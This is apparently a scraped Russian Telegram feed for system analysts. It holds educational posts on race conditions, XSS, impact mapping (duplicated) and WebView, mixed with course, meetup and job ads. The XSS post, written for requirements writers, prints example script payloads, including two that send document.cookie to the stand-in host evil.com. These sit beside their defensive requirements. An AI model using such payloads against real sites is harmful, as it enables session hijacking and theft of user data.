Системный Аналитик

Синхронизируй теорию с практикой на IT_ONE Analyst Meetup для системных и бизнес-аналитиков → Когда: 18 июня 2026 года → Где: Онлайн → Регистрация: до 17 июня Три практических кейса от экспертов-аналитиков IT_ONE для тех, кто хочет превратить методологию в работающие решения:

1️⃣ «Этика в фундаменте: как системный аналитик проектирует системы, которым можно доверять» Ольга Беспалова расскажет, как использовать международные стандарты, чтобы создавать продукты, в безопасности которых уверены и вы, и пользователи. 2️⃣ «St(e)akeHolder: где и как искать?»  Екатерина Машьянова объяснит, как декомпозиция функций системы помогает находить заинтересованных лиц и налаживать работу с ними. 3️⃣ «Аналитик без хаоса: база знаний в Obsidian» Александр Орешкин покажет, как превратить личную базу в Obsidian в сеть связанных идей, где любой нужный контекст можно найти за пару кликов.

Почему стоит посетить IT_ONE Analyst Meetup: ✅ Много практики от ведущих аналитиков IT_ONE, которые ежедневно решают задачи в сложных ИТ-проектах. ✅ Минимум воды, максимум архитектурных и методологических инсайтов. ✅ Онлайн-дискуссия с экспертами и коллегами со всей страны. ✅ Бонус: шаблоны и структура папок для вашей базы знаний в подарок. Регистрируйся на IT_ONE Analyst Meetup до 17 июня: https://cnrlink.com/itoneanalystmeetupsa

🔽 Гонка событий (Race Condition) Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым Может возникать в: 🟢микросервисах 🟢распределённых системах 🟢очередях сообщений 🟢асинхронных API 🟢frontend-приложениях 🟢потоковой обработке данных 🍃Сложность гонки событий: проблема проявляется нестабильно Система может работать корректно, а затем случайно выдать ошибку Когда возникает ⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют) ⚪️хотя бы один процесс изменяет данные ⚪️порядок выполнения не контролируется ⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом) ⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние) ⚪️deadlock (несколько транзакций блокируют друг друга) Типичные признаки ➖«плавающие» баги ➖редкие ошибки ➖невозможность стабильно воспроизвести проблему ➖случайные дубли ➖потеря части данных ➖периодическая рассинхронизация Причины 🍃сетевые задержки 🍃ретраи 🍃повторная доставка сообщений 🍃независимая работа сервисов 🍃параллельные консьюмеры 🍃различная скорость обработки Гонка всегда связана с принципом: ❕корректность системы зависит от последовательности событий Если изменение порядка приводит к разному результату — система подвержена гонке Backend и микросервисы Частый источник гонок — параллельные запросы к одному ресурсу Например: ✨несколько сервисов обновляют один заказ ✨несколько обработчиков меняют баланс ✨несколько консьюмеров читают одну очередь Базы данных При использовании транзакций гонка не исчезает Проблемы: ➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется) ➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы ) ➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные) ➖перезапись изменений Брокеры сообщений Не гарантируют отсутствие гонок Проблемы: ⚪️задвоенные события ⚪️доставка не по очереди ⚪️повторная доставка ⚪️параллельные консьюмеры Распределенные системы В распределённых системах гонка — нормальное состояние среды Причины: 🟢eventual consistency (изменения не применяются на всех серверах мгновенно) 🟢независимые сервисы 🟢сетевые лаги 🟢разные каналы доставки 🟢репликация Примеры Микросервисы с общей БД ➖сервис заказов и сервис оплаты работают с одной таблицей ➖сервис оплаты меняет статус заказа ➖сервис заказов одновременно обновляет адрес доставки Оба сервиса: 1. читают одну запись 2. меняют локальную копию 3. сохраняют объект полностью. Последний UPDATE уничтожает изменения другого сервиса Как решать ✨обновлять только нужные поля ✨использовать оптимистическую блокировку ✨отказаться от общей БД Event-driven архитектура Сервис публикует: ➖OrderCreated ➖OrderCancelled Потребитель получает их в обратном порядке Клиент сначала получает письмо: «Заказ отменён» А затем: «Заказ успешно создан» Как решать ✨партицирование по orderId ✨версионирование событий ✨occurredAt timestamp 📎 Материалы 1. Небезопасная многопоточность или Race Condition 2. Что такое состояние гонки 3. Почему стоит проверять приложения на устойчивость к race condition 4. Разница между Data Race и Race Condition 📚 Книги 1. Высоконагруженные приложения - Мартин Клеппман 2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон 3. Шаблоны корпоративных приложений - Мартин Фаулер 4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

❓Уровень обычного системного аналитика уже не для вас? Научитесь управлять архитектурой и командой системных аналитиков на курсе «Системный аналитик. Управление командой» 🎁 Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! Вебинар 1: «C4 для системного аналитика: строим единый язык между бизнесом и разработкой» ⏰4 июня в 20:00 мск Программа вебинара: Разберём самую простую и мощную модель визуализации архитектуры, которая позволяет за 4 диаграммы объяснять систему бизнесу, разработчикам и команде. На практике покажем, как использовать C4-модель, чтобы быстро и понятно объяснять систему на нужном уровне детализации — техническим лидерам, разработчикам и менеджменту и решить головную боль — недопонимание между стейкхолдерами — и сразу сможете применять её в требованиях. Вебинар 2: «Архитектура информационных систем. Монолиты, SOA и микросервисы» ⏰17 июня в 20:00 мск Программа вебинара: 1. Как выделять архитектурные слои информационной системы 2. Основные компоненты системы и как рисовать компонентные модели 3. Различия явных признаков хорошей и плохой архитектуры 4. Плюсы и минусы монолитной, SOA и микросервисной архитектуры Вебинар 3: «Внедрение новой функции системным аналитиком на примере услуги на Госуслугах» ⏰24 июня в 20:00 мск Программа вебинара: Разбор процесса внедрения новой фичи системным аналитиком. На вебинаре спикер покажет, как проектируются и выводятся реальные сервисы на портал Госуслуг. 1. Сбор требований 2. Моделирование бизнес-процесса 3. Проектирование интерфейса системы 4. Описание компонентов системы 5. Настройка форм для госуслуг 6. Настройка печатных форм 7. Проектирование базы данных 8. API 9. Интеграция систем Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

Системный аналитик помогает бизнесу и разработке говорить на одном языке: разбирает задачи компании, описывает требования, проектирует IT-решения и следит, чтобы система работала на реальные цели бизнеса. Онлайн-магистратура СПбГУ и Нетологии «Системный анализ и интеллектуальные системы управления бизнес-процессами» готовит специалистов на стыке IT и управления. В программе сочетаются академическая база СПбГУ и прикладные инструменты Нетологии. Студенты изучают математическое моделирование, алгоритмы, системный анализ, Python, BI-системы, no-code-инструменты, управление проектами и подходы к внедрению искусственного интеллекта. Такой набор навыков помогает работать со сложными бизнес-процессами: находить узкие места, снижать риски при разработке, формулировать требования к системам и сопровождать внедрение IT-решений. Обучение проходит полностью онлайн. После выпуска вы получаете диплом магистра СПбГУ очного образца по направлению «Прикладная информатика». Подробнее о программе Реклама. ООО “Нетология” ОГРН 1207700135884 Erid: 2VSb5wrYxot

Аналитики, которые строят highload: в чём их секрет? 28 мая в 18:00 собираемся в Санкт-Петербурге чтобы узнать, как наладить процессы системного анализа в сложных проектах. На митапе разберем: ▶️как выстроить системный анализ с нуля и перейти от хаоса к стандартам ▶️как писать спецификации, которые архитекторы принимают с первого раза (с расчётом RPS и сайзинга БД) ▶️погрузимся в Sequence Diagram и проверим, насколько ваши знания соответствуют спецификации UML. Митап пройдет в гибридном формате: вы можете присоединиться лично или онлайн. Участие бесплатное, ссылку на трансляцию пришлем накануне. Регистрация и подробности по ссылке: https://career.crpt.ru/events/system-analytics Чат для общения и нетворкинга: https://t.me/+C3mXc_pzTpYwMGMy #43Tech #системныйанализ #UML

Поздравляем, вы на 1 шаг ближе к работе мечты 🥳 Осталось только прочитать этот пост, подписаться на канал и откликнуться на вакансию 😉 Avito Career* — место, где Авито делится актуальными вакансиями и стажировками для аналитиков данных. Подписывайтесь, чтобы найти ту самую работу ✨ *карьера

Приглашаем на третий System Analysis Meetup SberHealth ❤️ Когда: 20 мая в 18:30 Где: онлайн На митапе поговорим о навыках и подходах, которые помогают расти системным аналитикам. Через доклады и реальные примеры рассмотрим, как создавать новые решения в работе, развивать архитектурное мышление и растить техническую экспертизу ⭐️ В программе: 🟣Ирина Облецова, старший системный аналитик, поделится, как разработала своё решение для оформления требований к мобильной разработке — диаграмму на стыке Figma и блок-схемы 🟣Мария Горгоц, старший системный аналитик, расскажет, что стоит знать аналитику, чтобы подружиться с архитектурными решениями и расти в архитектуре Приглашённый спикер: 🟡Виктория Кухтяева, эксперт по системному анализу и котикам, поделится, какие знания по кибербезопасности нужны для уверенной работы с разработкой и архитектурой, а также как закладывать требования безопасности в решения 🆕Круглый стол Обсудим, как системному аналитику перейти в архитекторы: реальные истории, рабочие практики и нужные навыки 🔜 Регистрация на митап и подробности

🛡XSS-уязвимость XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы) ➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени На этапе проектирования требований можно: ⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария) ✅ предотвратить её (чётко указать, какие символы и разметка допустимы) Как работает XSS 1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля) 2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script> 3⃣ Приложение сохраняет или сразу выводит эту строку без обработки 5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её 5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы ❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст Типы XSS ⭕️Хранимая (Stored XSS) — самая опасная Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу ➡️ Пример Форма отзывов. Хакер пишет отзыв: > Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю ✅ Защита ✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения ✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками) ⭕️Отражённая (Reflected XSS) Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке. ➡️ Пример Сайт показывает  поисковый запрос: «Вы искали: запрос».  Хакер отправляет жертве ссылку:  https://site.com/search?q=<script>alert(1)</script>  Жертва кликает ➡️ скрипт выполняется ✅ Защита В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке ⭕️DOM‑based XSS (без участия сервера) Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML ➡️ Пример (уязвимый код на странице): document.getElementById('message').innerHTML = location.hash.substring(1) Хакерская ссылка:  https://site.com/<img src=x onerror=alert(1)> Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код ✅ Защита В клиентских скриптах не использовать innerHTML с пользовательскими данными, Применять безопасные методы (textContent, setAttribute) ⭕️Слепая XSS (Blind XSS) Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора ➡️ Пример Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>  Сам клиент видит своё имя без проблем (экранирование на публичной части есть) Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора ✅ Защита Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние. 📎 Материалы 1. Что такое XSS-атака и как с ней бороться 2. XSS: нападение и защита 3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy 4. Примеры атак XSS и способов их ослабления 5. XSS-атака без секретов: от простого alert до захвата сессии 📚 Книги Грокаем безопасность веб-приложения - Макдональд Малькольм #безопасность ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

На 50 откликов — 2-3 приглашения. На 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так... Или в ответ: "Сделали выбор в пользу другого кандидата". И непонятно: то ли рынок мёртв, то ли ты что-то не так делаешь. Скорее всего, и то, и другое. Но второе мы точно можем исправить🤓 Что делаем мы: 🔹 Нет опыта ➡️ обучаем с нуля, ведём за руку до оффера 🔹 Не зовут на собесы ➡️ переупаковываем резюме. Даже если опыт не в IT 🔹 Зовут, но заваливаешь ➡️ проводим полноценные тестовые собеседования, разбираем твои собесы 🔹 Сопровождаем прямо в процессе найма — пока ты ходишь на собесы, мы с тобой на связи, правим стратегию на ходу Само собой даем: 📦 Слитые актуальные собеседования из реальных компаний 📦 Материалы для подготовки, шпаргалки — то, что реально спрашивают на собесах прямо сейчас 📦 Базу вопросов по тестам, кейсам, теориям — никакой воды Главное — оплата только после трудойстройства💰 Ты не платишь ни копейки, пока не получишь оффер. Никаких предоплат. Никаких «купи курс, а там уж сам». Итог: Мы уже устроили 50+ аналитиков. С нуля, с опытом, с опустившимися руками. На рынке, который уже похоронили. Надоел поиск и хочешь работать? Оставляй заявку на сайте!

Нужны актуальные вопросы с собеседований ? SA | Собеседования - твой незаменимый помощник в подготовке к собеседованиям. 🔊Обзоры собеседований c вилками на позиции: 🔵Системных аналитиков (Junior, Middle, Senior, Lead). 🔵Solution Архитекторов. 🔵С комментариями автора - как человека, который активно собеседует кандидатов. 🔊А ещё на Boosty ты найдёшь: 🔵Записи собеседований: В хорошем качестве - с тайм-кодами и названиями компаний. 🔵Статистику вопросов в разрезе каждой конкретной компании. 🔵При наличии подписки - обратную связь по твоим собеседованиям и рекомендации по их прохождению от человека, который провёл более 100 интервью в 2023–2025 годах. ➡️ Подписаться

🔥Получите навыки системного аналитика с нуля и примените их на практике с актуальными инструментами на реальных проектах. Начните обучение на курсе «Системный аналитик». 🎁Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! 🟣Вебинар 1: «Как не допустить ошибок при написании пользовательских историй (User Story)?» ⏰5 мая в 20:00 мск Программа вебинара: 1. Вспомним, что такое пользовательская история и особенности ее написания 2. Определим типичные ошибки при составлении пользовательских историй 3. Рассмотрим пример плохо написанной пользовательской истории и ее критериев приемки 4. Проработаем варианты исправления плохо написанной пользовательской истории 5. Порефлексируем и обсудим результаты 🟣Вебинар 2: «Обзор нотации BPMN 2.0» ⏰13 мая в 18:00 мск Программа вебинара: 1. Базовые понятия нотации BPMN 2.0 2. Базовые элементы нотации BPMN 2.0 3. Плюсы и минусы нотации BPMN 2.0 4. Основные антипаттерны моделирования в нотации BPMN 2.0 🟣Вебинар 3: «Диаграмма Последовательности (Sequence Diagram) - швейцарский нож системного аналитика» ⏰19 мая в 20:00 мск Программа вебинара: 1. Смысл диаграмм и визуализаций в работе аналитика 2. Нотация Диаграммы Последовательности с нуля за 30 минут 3. Что еще освоить, чтобы приносить пользу команде Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

📊 Научитесь проектировать API и архитектуру ПО как профи, освойте SQL и NoSQL на продвинутом уровне, узнайте принципы построения сложных систем и как выбирать верные архитектурные решения. Получите актуальные навыки и инструменты. Станьте экспертом в системном анализе на курсе «Системный аналитик. Экспертный уровень» Старт группы: 29 апреля Обучение: 6 месяцев Формат: онлайн Актуальная программа обучения уже доступна для вас на сайте бесплатно. Поддержка менторов и преподавателей на каждом этапе обучения. Задайте вопрос прямо на сайте и вам ответят! 🎁Записывайтесь на бесплатный вебинар 23 апреля в 18:00 мск Тема: «Cоздаём ИИ-ассистента для системного аналитика за 1 час» Познакомьтесь с руководителем курса и задайте свои вопросы! Регистрация на сайте. Оставьте заявку на курс ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример

Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек
│
├── Актор: Авторизованный клиент
│   ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания
│   │   ├── Результат: Персонализированная главная с недавно просмотренными товарами
│   │   └── Результат: Сохранение корзины между сессиями с визуальным индикатором
│   └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз
│       └── Результат: Повторный заказ в один клик из истории заказов
│
├── Актор: Покупатель впервые
│   └── Влияние: Создаёт аккаунт после покупки (а не до)
│       └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)
│
└── Актор: Агент поддержки
    └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию
        └── Результат: Самостоятельный сброс пароля с SMS-подтверждением

Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример

Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек
│
├── Актор: Авторизованный клиент
│   ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания
│   │   ├── Результат: Персонализированная главная с недавно просмотренными товарами
│   │   └── Результат: Сохранение корзины между сессиями с визуальным индикатором
│   └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз
│       └── Результат: Повторный заказ в один клик из истории заказов
│
├── Актор: Покупатель впервые
│   └── Влияние: Создаёт аккаунт после покупки (а не до)
│       └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)
│
└── Актор: Агент поддержки
    └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию
        └── Результат: Самостоятельный сброс пароля с SMS-подтверждением

Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🌐 Web as Native WebView и Web as Native WebView —  встроенный в мобильное приложение компонент, который отображает веб-страницы (HTML, CSS, JavaScript) внутри приложения Важно: 🔹 это не отдельное приложение (не Chrome/Safari) 🔹он управляется нативным кодом 🔹 пользователь не видит, что это веб Web as Native —  подход, при котором веб-интерфейс используется как мобильное приложение Web —  интерфейс и часть логики 🔸рисует UI 🔸обрабатывает пользовательские сценарии Native —  оболочка (контейнер) 🔸открывает экраны 🔸управляет WebView 🔸даёт доступ к функциям устройства

WebView —  инструмент Web as Native —  архитектурный подход Большинство «Web as native»-реализаций используют WebView как основной инструмент

Как работает WebView 1. приложение создаёт WebView 2. передаёт URL 3. WebView загружает страницу 4. отрисовывает интерфейс 5. пользователь взаимодействует с ним Если нужен доступ к устройству — используется bridge (API между Web и Native внутри приложения) Пример архитектуры Пользователь      ↓ Мобильное приложение      ↓   WebView      ↓ Web Frontend      ↓ Backend API WebView — только “контейнер”,  вся логика чаще всего в вебе Способы открытия WebView ➡️ Прямое открытие экрана Самый простой вариант: пользователь нажал → открылся экран с WebView Минус: видна загрузка (белый экран), что создаёт ощущение “медленного” приложения ➡️ Предзагрузка Приложение: 🔹создаёт WebView заранее 🔹загружает страницу в фоне → пользователь открывает — страница уже готова → улучшает perceived performance (ощущаемую скорость) ➡️ Skeleton / Loader Пока WebView загружается показывается нативный placeholder или skeleton UI → создаёт ощущение скорости, даже если фактическая загрузка не изменилась ➡️ Кэширование 🔹WebView использует кэш 🔹можно хранить статические ресурсы → ускоряет повторное открытие и снижает нагрузку на сеть ➡️ Гибридный экран (частично native) 🔹шапка и кнопки — нативные 🔹контент — WebView → снижает ощущение “веба” и улучшает UX за счёт нативных элементов Где используется WebView 🔸статьи и контент 🔸 личные кабинеты 🔸формы и платежи 🔸 fallback-экраны Пример: маркетплейс Почему WebView ➖ UI часто меняется → веб позволяет обновлять без релиза приложения ➖ маркетинг управляет страницами → не требует участия мобильной команды ➖ важно быстро выкатывать изменения → веб быстрее в доставке Web: 🔹 каталог 🔹 карточка товара → высокая изменяемость, много UI-логики Native: 🔹оплата 🔹push 🔹доступ к устройству → критичные функции, требующие безопасности и интеграций Сценарий: покупка 1. User → Web: нажимает "Купить" 2. Web → Native: startPayment 3. Native → Backend: выполняет запрос 4. Native → Web: возвращает результат Безопасность Риски: 🔸XSS уязвимость    → вредоносный JS может вызвать нативные методы через bridge 🔸загрузка чужих URL    → можно отобразить фишинговую или вредоносную страницу 🔸доступ к cookies    → возможна утечка пользовательских данных ❗️Главная зона риска — взаимодействие между Web и Native, здесь веб получает доступ к возможностям устройства Плюсы и минусы ➕ быстро → можно использовать уже готовый веб и не писать UI с нуля ➕ дёшево → меньше затрат на разработку и поддержку двух платформ ➕ единый код → изменения делаются в одном месте и сразу доступны всем ➖ медленнее → из-за дополнительного слоя (браузерный движок + рендеринг)  ➖ хуже UX → веб-интерфейс уступает нативному по отзывчивости и плавности  ➖ зависимость от сети → без интернета приложение может частично или полностью не работать 📎 Материалы 1. Из браузера — в приложение: внутренняя кухня WebView 2. От Web к Native с React 3. ОМП рассказала о новых возможностях WebView в ОС «Аврора» 4. WebView: забыть нельзя интегрировать #веб ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🎤 Вебинар Актуальные вопросы ИБ в закупках BPM платформ 31 марта разберем что нужно учитывать при автоматизации бизнес-процессов с точки зрения РБПО. В последние годы теме РБПО уделяется много внимания, как на законодательном, так и на инженерном уровне. В ответ на новые требования появляются новые методики и инструменты, которые позволят выполнить эти требования на практике. Соответственно, и в тендерной документации выделяют под эти вопросы отдельные разделы. Разберем следующие вопросы: • Нюансы законодательства по 152-ФЗ и 187-ФЗ • Типовые отраслевые объекты КИИ • ГОСТ Р 56939–2024, проблемы сертификации • Приказа ФСТЭК № 117, правомерность ссылок на п.50 • Удорожание проектов при покрытии по ГОСТ Р 56939–2024 • Этапность работ по РБПО 👤 Спикер: Игорь Клопотов, директор продукта OpenBPM 📅 Когда: 31 марта, 16:00 МСК 👉 Регистрация по ссылке #реклама О рекламодателе erid: 2W5zFHdC2kh

Вы тоже сможете вырасти до хардового аналитика уровня Middle+. Как? Добавьте к своим скилам навыки в проектировании архитектуры и интеграций веб-сервисов! Три месяца назад мы уже писали про этот курс. Сейчас пишем еще раз, потому что у курса вышло полезное обновление, уже доступное ученикам, независимо от того, когда они его купили. ————— 📚 Первое: в портфолио включили примеры интеграций от крупных BigTech-компаний. Это позволит вам понять, как технологии применяются в реальных бизнес-контекстах. 🌐 Второе: обновили портфолио. Теперь в нём есть задания повышенного уровня сложности для каждой темы. Это небольшие реальные проекты, с помощью которых можно не только проверить, но и улучшить свои навыки! ✔️Третье: вышел новый модуль про проектирование баз данных - нормализация, транзакции, основы DWH, индексы. 💬Четвертое: стал активен чат учеников (общение, обмен опытом, помощь внутри сообщества) ————— • Результат после прохождения курса: 15 рабочих проектов в портфолио-резюме • Доступ к урокам и всем обновлениям останется навсегда • Фундаментальная база • Всю программу и отзывы смотрите в боте курса Когда перейдете в бот курса, то получите бесплатные открытые уроки по архитектуре и интеграциям. Польза 👇 @studyit_help_bot Скидка на курс от канала — 1 500₽ на Stepik по промокоду SYS до конца марта.

🔥 SPRINT OFFER в YADRO для системных аналитиков: Телеком и BIOS/BMC! В YADRO стартовал SPRINT OFFER для системных аналитиков. Это возможность пройти все этапы отбора и получить оффер в компанию всего за три дня. Мы в поиске специалистов в два направления: 🚀 Телеком Разработка компонентов мобильных сетей и систем управления сетью. Команда работает с архитектурой базовых станций и телеком-платформами для стандартов GSM/LTE/5G. Технологии: LTE/5G/GSM, 3GPP/RFC/O-RAN/ITU. 💻 BIOS/BMC Разработка и поддержка системного ПО для серверов и модулей серверных платформ. Технологии: BMS, BIOS/UEFI, Embedded, Linux, высокоскоростные интерфейсы, протоколы интеграции Системные аналитики в этих командах работают с формализацией требований к продукту, технической документацией и взаимодействуют с командами архитектуры, разработки и тестирования. Уровень: Специалист / Старший / Ведущий. Формат работы: Удалённая работа или офис в городах присутствия — Москве, Санкт-Петербурге, Нижнем Новгороде, Екатеринбурге, Минске. ⚙️ Как проходит SPRINT OFFER: 1️⃣ Подайте заявку до 29 марта и пройдите HR-скрининг. 2️⃣ Пройдите техническое и менеджерское интервью. 3️⃣ Получите оффер в течение 3 дней. 💙 Подайте заявку до 29 марта и всего за 3 дня начните свой путь в компании, которая задает новые стандарты в технологической среде!